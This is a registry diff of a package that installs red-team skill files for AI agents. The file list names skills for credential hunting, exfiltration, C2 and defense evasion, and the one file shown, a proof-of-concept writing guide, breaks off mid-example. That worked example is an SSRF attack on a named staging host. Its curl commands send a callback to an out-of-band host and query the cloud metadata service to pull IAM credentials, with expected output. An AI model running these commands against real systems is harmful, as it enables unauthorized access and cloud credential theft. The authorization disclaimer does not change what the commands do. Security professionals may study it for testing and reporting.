rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,640 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-poc-writer
|
|
3
|
+
description: "Write reproducible Proof of Concept for each security finding. Includes target environment setup, prerequisites, exact terminal commands with expected output, screenshots references, and cleanup steps. PoC must be reproducible by a third party from scratch. Provides bash script and curl formats. Includes authorized testing disclaimer."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-poc-writer — Red Team PoC Writer Skill
|
|
7
|
+
|
|
8
|
+
## Overview and Purpose
|
|
9
|
+
|
|
10
|
+
The `rt-poc-writer` skill produces a self-contained, reproducible Proof of Concept (PoC) document for each security finding discovered during a red team engagement. Its primary audience is the client's internal security team and any third-party auditor tasked with verifying and remediating findings.
|
|
11
|
+
|
|
12
|
+
A PoC document serves three purposes in the engagement lifecycle:
|
|
13
|
+
|
|
14
|
+
1. **Validation** — Proves the finding is real and exploitable under realistic conditions, removing doubt about false positives.
|
|
15
|
+
2. **Reproducibility** — Lets a defender or peer-reviewer replicate the exact attack path without access to the original tester's environment or notes.
|
|
16
|
+
3. **Remediation guidance** — Gives the blue team a concrete baseline to test patches against: if the PoC no longer works after the fix, the vulnerability is closed.
|
|
17
|
+
|
|
18
|
+
Every PoC produced by this skill must be runnable by a competent engineer who was not present during the engagement, using only the document itself, publicly available tools, and credentials that are explicitly listed or obviously scoped to a test environment.
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## Engagement Lifecycle Position
|
|
23
|
+
|
|
24
|
+
```
|
|
25
|
+
Reconnaissance -> Exploitation -> POST-EXPLOITATION
|
|
26
|
+
|
|
|
27
|
+
rt-poc-writer <-- you are here
|
|
28
|
+
|
|
|
29
|
+
finding_tracker.py (log finding)
|
|
30
|
+
|
|
|
31
|
+
autodoc_engine.py (embed into report)
|
|
32
|
+
|
|
|
33
|
+
Final Deliverable
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
Write the PoC immediately after confirming successful exploitation, while the session is still live. Do not wait until report-writing day — context evaporates and reproduction may fail.
|
|
37
|
+
|
|
38
|
+
---
|
|
39
|
+
|
|
40
|
+
## Step-by-Step Workflow
|
|
41
|
+
|
|
42
|
+
### Step 1 — Collect raw exploitation data
|
|
43
|
+
|
|
44
|
+
Before opening a PoC template, capture the following from your active session:
|
|
45
|
+
|
|
46
|
+
- Exact URL or network endpoint (IP, port, protocol)
|
|
47
|
+
- HTTP request and response, or raw socket data
|
|
48
|
+
- Session/cookie values or tokens that were active at the time
|
|
49
|
+
- Timestamp in UTC (used by `finding_tracker.py`)
|
|
50
|
+
- CVE or weakness classification (CWE, OWASP category)
|
|
51
|
+
- CVSS v3.1 base score and vector string
|
|
52
|
+
- Screenshot or terminal recording filenames
|
|
53
|
+
|
|
54
|
+
Store these in a local scratch file named `poc_raw_<finding_id>.txt` before writing the final document.
|
|
55
|
+
|
|
56
|
+
### Step 2 — Assign a finding ID
|
|
57
|
+
|
|
58
|
+
Finding IDs follow the pattern `RT-<YEAR>-<CLIENT_CODE>-<SEQ>`.
|
|
59
|
+
|
|
60
|
+
Example: `RT-2025-ALMT-007`
|
|
61
|
+
|
|
62
|
+
- `ALMT` is the four-letter client code for this engagement (Almentor).
|
|
63
|
+
- `007` is the sequential finding number padded to three digits.
|
|
64
|
+
|
|
65
|
+
Register the ID immediately by running:
|
|
66
|
+
|
|
67
|
+
```bash
|
|
68
|
+
python3 scripts/finding_tracker.py register \
|
|
69
|
+
--id RT-2025-ALMT-007 \
|
|
70
|
+
--title "Unauthenticated SSRF in Media Proxy Endpoint" \
|
|
71
|
+
--severity HIGH \
|
|
72
|
+
--cvss "8.6" \
|
|
73
|
+
--cwe CWE-918 \
|
|
74
|
+
--status CONFIRMED
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
The tracker writes a JSON entry to `findings/RT-2025-ALMT-007.json` and returns the expected PoC output path: `pocs/RT-2025-ALMT-007_poc.md`.
|
|
78
|
+
|
|
79
|
+
### Step 3 — Fill the PoC template
|
|
80
|
+
|
|
81
|
+
Use the full template in the section below. Every field is mandatory. Sections marked REQUIRED must not be left blank or replaced with a generic placeholder.
|
|
82
|
+
|
|
83
|
+
### Step 4 — Validate the PoC
|
|
84
|
+
|
|
85
|
+
Run the PoC yourself one more time in a clean terminal session with no prior context — no existing cookies, no environment variables set from earlier steps. If it fails, fix the PoC before moving on.
|
|
86
|
+
|
|
87
|
+
Checklist before marking a PoC complete:
|
|
88
|
+
|
|
89
|
+
- [ ] Clean terminal reproduction passes end-to-end
|
|
90
|
+
- [ ] All tool versions are pinned (`curl --version`, `python3 --version`, etc.)
|
|
91
|
+
- [ ] Expected output blocks match actual output exactly (diff verified)
|
|
92
|
+
- [ ] Screenshots or recordings referenced exist on disk at the stated paths
|
|
93
|
+
- [ ] Cleanup steps were executed and verified
|
|
94
|
+
- [ ] Authorized testing disclaimer is present
|
|
95
|
+
- [ ] Finding is registered in `finding_tracker.py`
|
|
96
|
+
|
|
97
|
+
### Step 5 — Commit and link
|
|
98
|
+
|
|
99
|
+
Save the finished PoC to `pocs/RT-2025-ALMT-007_poc.md` and run:
|
|
100
|
+
|
|
101
|
+
```bash
|
|
102
|
+
python3 scripts/autodoc_engine.py embed \
|
|
103
|
+
--finding-id RT-2025-ALMT-007 \
|
|
104
|
+
--poc pocs/RT-2025-ALMT-007_poc.md \
|
|
105
|
+
--section "High Findings"
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
`autodoc_engine.py` reads the PoC frontmatter, injects a summary block into the master report draft at `report/draft.md`, and updates the table of contents. It also copies referenced screenshots into `report/assets/`.
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## PoC Template
|
|
113
|
+
|
|
114
|
+
Copy this template verbatim and replace values with real data. Do not leave angle-bracket placeholders in the final document.
|
|
115
|
+
|
|
116
|
+
```markdown
|
|
117
|
+
# PoC: RT-2025-ALMT-007 — Unauthenticated SSRF in Media Proxy Endpoint
|
|
118
|
+
|
|
119
|
+
**Engagement:** Almentor Platform Red Team Assessment Q2-2025
|
|
120
|
+
**Finding ID:** RT-2025-ALMT-007
|
|
121
|
+
**Date Confirmed:** 2025-06-14 09:47 UTC
|
|
122
|
+
**Tested By:** Ahmed Hegazy
|
|
123
|
+
**Severity:** HIGH
|
|
124
|
+
**CVSS v3.1 Score:** 8.6
|
|
125
|
+
**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
|
|
126
|
+
**CWE:** CWE-918 Server-Side Request Forgery
|
|
127
|
+
**OWASP 2021:** A10:2021 – Server-Side Request Forgery (SSRF)
|
|
128
|
+
**Status:** CONFIRMED
|
|
129
|
+
|
|
130
|
+
---
|
|
131
|
+
|
|
132
|
+
## Authorized Testing Disclaimer
|
|
133
|
+
|
|
134
|
+
This Proof of Concept was produced during an authorized security assessment
|
|
135
|
+
conducted under the Rules of Engagement agreed between RTExit Security and
|
|
136
|
+
Almentor (Contract Ref: ALMT-RT-2025-Q2, signed 2025-05-28). All testing
|
|
137
|
+
was performed against designated staging infrastructure (10.20.0.0/16) or
|
|
138
|
+
production endpoints explicitly listed in scope. Reproduction outside that
|
|
139
|
+
authorized scope is prohibited. Any third party reproducing this PoC must
|
|
140
|
+
obtain independent written authorization from the asset owner before
|
|
141
|
+
proceeding.
|
|
142
|
+
|
|
143
|
+
---
|
|
144
|
+
|
|
145
|
+
## Summary
|
|
146
|
+
|
|
147
|
+
The `/api/v2/media/proxy` endpoint accepts a `url` query parameter and fetches
|
|
148
|
+
the remote resource server-side without validating the destination. An
|
|
149
|
+
unauthenticated attacker can supply an internal URL, causing the application
|
|
150
|
+
server to perform HTTP requests to internal services on behalf of the attacker.
|
|
151
|
+
During testing, the EC2 instance metadata service (169.254.169.254) was reached
|
|
152
|
+
and AWS IAM credentials were returned.
|
|
153
|
+
|
|
154
|
+
**Impact:** An attacker can exfiltrate AWS IAM role credentials from the
|
|
155
|
+
instance metadata endpoint, enabling lateral movement to all AWS services
|
|
156
|
+
accessible to the `almentor-app-prod` IAM role, including S3 buckets
|
|
157
|
+
containing user PII and the RDS master credentials stored in Secrets Manager.
|
|
158
|
+
|
|
159
|
+
---
|
|
160
|
+
|
|
161
|
+
## Environment Setup
|
|
162
|
+
|
|
163
|
+
### Attacker machine
|
|
164
|
+
|
|
165
|
+
- OS: Kali Linux 2024.3 (also verified on Ubuntu 22.04 LTS)
|
|
166
|
+
- Tools required:
|
|
167
|
+
- `curl` 8.5.0 (`curl --version`)
|
|
168
|
+
- `python3` 3.12 (`python3 --version`)
|
|
169
|
+
- `jq` 1.7 (`jq --version`)
|
|
170
|
+
- Network: Any host with outbound HTTPS to `staging.almentor.net`
|
|
171
|
+
|
|
172
|
+
### Target
|
|
173
|
+
|
|
174
|
+
- Host: `staging.almentor.net` (in-scope staging environment)
|
|
175
|
+
- Endpoint: `GET /api/v2/media/proxy?url=<attacker-controlled>`
|
|
176
|
+
- Authentication: None required
|
|
177
|
+
- Port: 443 (HTTPS)
|
|
178
|
+
|
|
179
|
+
### Prerequisites
|
|
180
|
+
|
|
181
|
+
1. DNS resolves `staging.almentor.net` to a reachable IP (verify with
|
|
182
|
+
`dig staging.almentor.net +short`).
|
|
183
|
+
2. No WAF blocking is active on the staging host. Confirm by sending a
|
|
184
|
+
baseline request and observing a 200 response:
|
|
185
|
+
|
|
186
|
+
```bash
|
|
187
|
+
curl -si "https://staging.almentor.net/api/v2/media/proxy?url=https://example.com/1x1.png" \
|
|
188
|
+
| head -5
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
Expected first line: `HTTP/2 200`
|
|
192
|
+
|
|
193
|
+
---
|
|
194
|
+
|
|
195
|
+
## Exploitation — Step by Step
|
|
196
|
+
|
|
197
|
+
### Phase 1: Confirm SSRF exists (safe probe)
|
|
198
|
+
|
|
199
|
+
Send a request pointing to a Burp Collaborator or interactsh URL you control.
|
|
200
|
+
This confirms out-of-band interaction without touching internal infrastructure.
|
|
201
|
+
|
|
202
|
+
```bash
|
|
203
|
+
# Replace the callback URL with your own interactsh or Burp Collaborator domain
|
|
204
|
+
CALLBACK="ssrf-test-rt2025.oast.fun"
|
|
205
|
+
|
|
206
|
+
curl -si "https://staging.almentor.net/api/v2/media/proxy?url=http://${CALLBACK}/probe" \
|
|
207
|
+
-H "User-Agent: Mozilla/5.0 (compatible; security-assessment/1.0)"
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
**Expected response:**
|
|
211
|
+
|
|
212
|
+
```
|
|
213
|
+
HTTP/2 502
|
|
214
|
+
content-type: application/json
|
|
215
|
+
x-request-id: d3a7c1e0-8b24-4f9a-9c3d-1e2a7f6b0d5e
|
|
216
|
+
|
|
217
|
+
{"error":"upstream_fetch_failed","message":"Could not retrieve remote resource"}
|
|
218
|
+
```
|
|
219
|
+
|
|
220
|
+
Check your Collaborator/interactsh panel — you should see an inbound HTTP
|
|
221
|
+
request from the application server IP (typically 18.185.x.x for eu-central-1).
|
|
222
|
+
This confirms the server made an outbound request to your domain.
|
|
223
|
+
|
|
224
|
+
### Phase 2: Probe internal metadata service
|
|
225
|
+
|
|
226
|
+
Fetch the IMDSv1 metadata root without authentication tokens:
|
|
227
|
+
|
|
228
|
+
```bash
|
|
229
|
+
curl -si "https://staging.almentor.net/api/v2/media/proxy?url=http://169.254.169.254/latest/meta-data/" \
|
|
230
|
+
-H "User-Agent: Mozilla/5.0 (compatible; security-assessment/1.0)"
|
|
231
|
+
```
|
|
232
|
+
|
|
233
|
+
**Expected response:**
|
|
234
|
+
|
|
235
|
+
```
|
|
236
|
+
HTTP/2 200
|
|
237
|
+
content-type: text/plain
|
|
238
|
+
content-length: 312
|
|
239
|
+
x-request-id: 7f3b9d2a-cc41-4e88-a110-5e6d8c9f1b02
|
|
240
|
+
|
|
241
|
+
ami-id
|
|
242
|
+
ami-launch-index
|
|
243
|
+
ami-manifest-path
|
|
244
|
+
block-device-mapping/
|
|
245
|
+
hostname
|
|
246
|
+
iam/
|
|
247
|
+
instance-action
|
|
248
|
+
instance-id
|
|
249
|
+
instance-life-cycle
|
|
250
|
+
instance-type
|
|
251
|
+
local-hostname
|
|
252
|
+
local-ipv4
|
|
253
|
+
mac
|
|
254
|
+
metrics/
|
|
255
|
+
network/
|
|
256
|
+
placement/
|
|
257
|
+
profile
|
|
258
|
+
public-hostname
|
|
259
|
+
public-ipv4
|
|
260
|
+
public-keys/
|
|
261
|
+
reservation-id
|
|
262
|
+
security-groups
|
|
263
|
+
services/
|
|
264
|
+
```
|
|
265
|
+
|
|
266
|
+
The `iam/` path confirms an IAM role is attached.
|
|
267
|
+
|
|
268
|
+
### Phase 3: Retrieve IAM role name
|
|
269
|
+
|
|
270
|
+
```bash
|
|
271
|
+
